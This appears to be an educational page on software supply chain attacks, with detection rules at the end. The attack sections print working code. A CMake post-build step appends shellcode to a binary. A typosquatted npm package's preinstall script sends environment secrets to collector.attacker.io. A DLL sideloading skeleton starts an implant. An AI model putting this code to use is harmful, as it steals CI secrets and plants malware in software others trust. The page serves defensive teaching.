Supply Chain Attacks

Supply chain attacks compromise software before it reaches the victim — at the build pipeline, the package registry, or the vendor update mechanism. The core property that makes them powerful: the malicious payload arrives from a trusted source with a valid signature. Detection cannot rely on reputation alone; it requires behavioral monitoring of code that executes with implicit trust.

Supply Chain Attack Taxonomy

Build System Poisoning

// Technique: modify the build script to inject shellcode into compiled output.
// Target: Makefile, CMakeLists.txt, build.gradle, package.json scripts, etc.
// The injected code runs during the build, not during the attack setup.
// Example: post-build step that patches a compiled PE to add an implant.

// Malicious CMake custom command injected into legitimate build:
add_custom_command(
    TARGET ${PROJECT_NAME} POST_BUILD
    COMMAND powershell.exe -NoProfile -ExecutionPolicy Bypass -Command
    "$b=[System.IO.File]::ReadAllBytes('$(TARGET_FILE)'); \
     $s=[Convert]::FromBase64String('SHELLCODE_B64_HERE'); \
     # Append shellcode to overlay section of PE \
     [System.IO.File]::WriteAllBytes('$(TARGET_FILE)', $b + $s)"
    COMMENT "Post-build optimization"
)

// More realistic: modify build script to download a 'legitimate-looking' utility
// that patches binaries during packaging:
// package.json "postbuild" hook:
{
  "scripts": {
    "build": "webpack --config webpack.prod.js",
    "postbuild": "node scripts/optimize-bundle.js"
  }
}
// optimize-bundle.js fetches a remote "optimizer" and runs it on the output —
// the actual payload executes in the CI runner with full access to the repo,
// secrets, and artifact signing keys.

npm Typosquatting and Dependency Confusion

// Typosquatting: register a package name similar to a popular one.
// Confusion: register a PUBLIC package with the same name as an internal package.
//   When npm resolves packages, public registry takes precedence over private
//   if the version number is higher — regardless of where the package is hosted.
// CVE reference: Alex Birsan's 2021 research — "Dependency Confusion" attack.

// Malicious package.json (minimal) for npm typosquatting:
{
  "name": "lodahs",        // typo of "lodash"
  "version": "1.0.0",
  "description": "Utility library",
  "main": "index.js",
  "scripts": {
    "preinstall": "node preinstall.js"
  }
}

// preinstall.js — runs automatically on npm install:
const os = require('os');
const { execSync } = require('child_process');
const http = require('https');
// Collect environment and exfil
const data = JSON.stringify({
  host: os.hostname(),
  user: os.userInfo().username,
  cwd: process.cwd(),
  env: process.env,  // contains CI secrets: AWS_ACCESS_KEY, GITHUB_TOKEN, etc.
  platform: os.platform()
});
// Send to attacker's server
const req = http.request({
  host: 'collector.attacker.io', path: '/c', method: 'POST',
  headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(data)}
});
req.write(data); req.end();

// Dependency confusion: if internal package "corp-utils@1.2.0" exists in private registry,
// publish "corp-utils@9.9.9" to public npm — npm will pull the higher version.
// Defense: use scope (@corp/corp-utils), pin exact versions, use lockfiles.

DLL Sideloading

// DLL sideloading: place a malicious DLL in a directory that a legitimate
// signed executable searches before system paths.
// Windows DLL search order: application dir → System32 → System → Windows → PATH.
// Technique: find a signed EXE that loads a DLL by relative name (no full path),
//            drop your malicious DLL with that name next to the EXE.

// Example: Microsoft Teams (older versions) loaded dbghelp.dll from its app dir.
// Drop malicious dbghelp.dll next to Teams.exe → executed under Teams' identity.
// Malicious DLL (proxy DLL structure — forwards all exports to real DLL):

// Build: cl /LD sideload.c /Fe:dbghelp.dll
#include <windows.h>

BOOL WINAPI DllMain(HMODULE hMod, DWORD reason, LPVOID _) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hMod);
        // Spawn implant in new thread — don't block DllMain
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunImplant,
                      NULL, 0, NULL);
    }
    return TRUE;
}

// To forward legitimate exports (proxy DLL), add linker pragmas:
// #pragma comment(linker, "/export:MiniDumpWriteDump=C:\\Windows\\System32\\dbghelp.MiniDumpWriteDump,@13")
// This prevents the host app from crashing when it tries to use the DLL's real exports.

// Common sideload targets (pre-patch):
// - OneDrive.exe loads vcruntime140.dll from AppData\Local\Microsoft\OneDrive\
// - Notepad++ loads mimeTools.dll from install directory
// - 7-Zip loads 7-zip.dll from current directory
// - VMware tools load various DLLs relative to install path

Real-World Supply Chain Examples

Detection Engineering

title: DLL Sideloading — DLL Loaded from Writable User Directory
logsource:
  product: windows
  category: image_load
detection:
  selection:
    EventID: 7
    ImageLoaded|contains:
      - '\AppData\Local\'
      - '\AppData\Roaming\'
      - '\Users\Public\'
  not_signed:
    Signed: 'false'
  condition: selection AND not_signed
level: high
tags: [attack.defense_evasion, T1574.002]

title: npm/pip/gem Package Install Running System Commands
logsource:
  product: windows
  category: process_creation
detection:
  parent_npm:
    ParentImage|endswith:
      - '\node.exe'
      - '\python.exe'
      - '\pip.exe'
  child_suspicious:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\curl.exe'
      - '\certutil.exe'
  condition: parent_npm AND child_suspicious
level: high
tags: [attack.initial_access, T1195.001]

-- MDE KQL: signed binary with anomalous child process (sideloaded DLL)
DeviceProcessEvents
| where InitiatingProcessSignerType == "Microsoft"
    or InitiatingProcessSignatureStatus == "Valid"
| where FileName in~ ("powershell.exe", "cmd.exe", "mshta.exe",
                       "wscript.exe", "cscript.exe")
| where InitiatingProcessFolderPath has_any ("\\AppData\\", "\\Temp\\")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessFolderPath, FileName, ProcessCommandLine

Q&A